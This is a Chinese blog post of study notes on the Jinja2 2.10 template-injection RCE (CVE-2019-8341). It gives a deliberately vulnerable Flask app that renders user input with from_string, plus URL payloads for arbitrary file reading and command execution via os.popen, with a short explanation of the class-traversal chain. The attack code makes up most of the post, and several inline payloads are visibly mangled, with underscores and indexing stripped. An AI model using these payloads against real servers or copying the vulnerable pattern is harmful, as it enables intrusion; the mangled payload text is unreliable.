• CVE-2019-8341 Jinja2 RCE漏洞学习


    漏洞简述



    漏洞简介


    Jinja2.10版本,Environment的实例方法from_string,存在RCE,该函数在内部实现逻辑中,存在exec函数去执行了,from_string函数参数中的jinja2的代码指令。

    漏洞分类


    远程命令/代码执行

    影响版本


    2.10

    漏洞验证:



    验证环境

    • 系统: Mac OS X
    • Python:2.7.15
    • Flask : 1.0.2
    • Jinja: 2.10

    验证服务器脚本(漏洞代码)


    import jinja2
    from flask import Flask
    from flask import request
    
    app = Flask("vuln")
    
    @app.route("/")
    def index():
                username = request.values.get('username')
                return jinja2.Environment().from_string('Hello ' + username).render()
    
    if __name__ == "__main__":
                app.run(host='127.0.0.1' , port=4444)
    

    问题代码就出在第10行: jinja2.Environment().from_string('Hello ' + username).render()

    攻击方法1--任意文件读取


    Payload:http://localhost:4444/?username={{ ''.class.mro[2].subclasses()40.read() }}
    解释Payload:

    #"""__mro类似于__base__,但是__mro__是追根溯源的,不是向上查找一级"""
    >>> ''.__class__.__mro__
    (<type 'str'>, <type 'basestring'>, <type 'object'>)
    >>> ''.__class__.__mro__[-1]
    <type 'object'>
    >>> ''.__class__.__mro__[-1].__subclasses__()
    [<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>]
    >>> ''.__class__.__mro__[-1].__subclasses__()[40]
    <type 'file'>
    #最终看出来就是在获取file类使用file类创建一个对象,输入参数是文件名,read()函数读取:
    

    攻击方法2--命令执行


    Payload:http://localhost:4444/?username={{%27%27.class.base.mro()[1].subclasses()[71].init.globals[%27os%27].popen(%22ls%20-l%22).read()}}
    解释Payload:

    #前面同理买就是为了获取两个类,这两个类中的__init__.__globals__中有os模块,用来执行命令:
    """
    <class 'site._Printer'>
    <class 'site.Quitter'>
    """
    #然后可以获取到os模块,利用os模块的popen执行命令,read函数获取回显。
    

    防御



    不使用这个函数或者对属于进行过滤。

  • 相关阅读:
    fd_set 用法
    初步认识迭代服务器和并发服务器
    慢系统调用与信号中断
    nigix以及相关
    IO多路复用的几种实现机制的分析
    伪终端
    linux非阻塞的socket EAGAIN的错误处理
    从输入 URL 到页面加载完成的过程中都发生了什么事情?
    7.9 函数的定义
    7.8 文件操作
  • 原文地址:https://www.cnblogs.com/KevinGeorge/p/10396397.html
Copyright © 2020-2023  润新知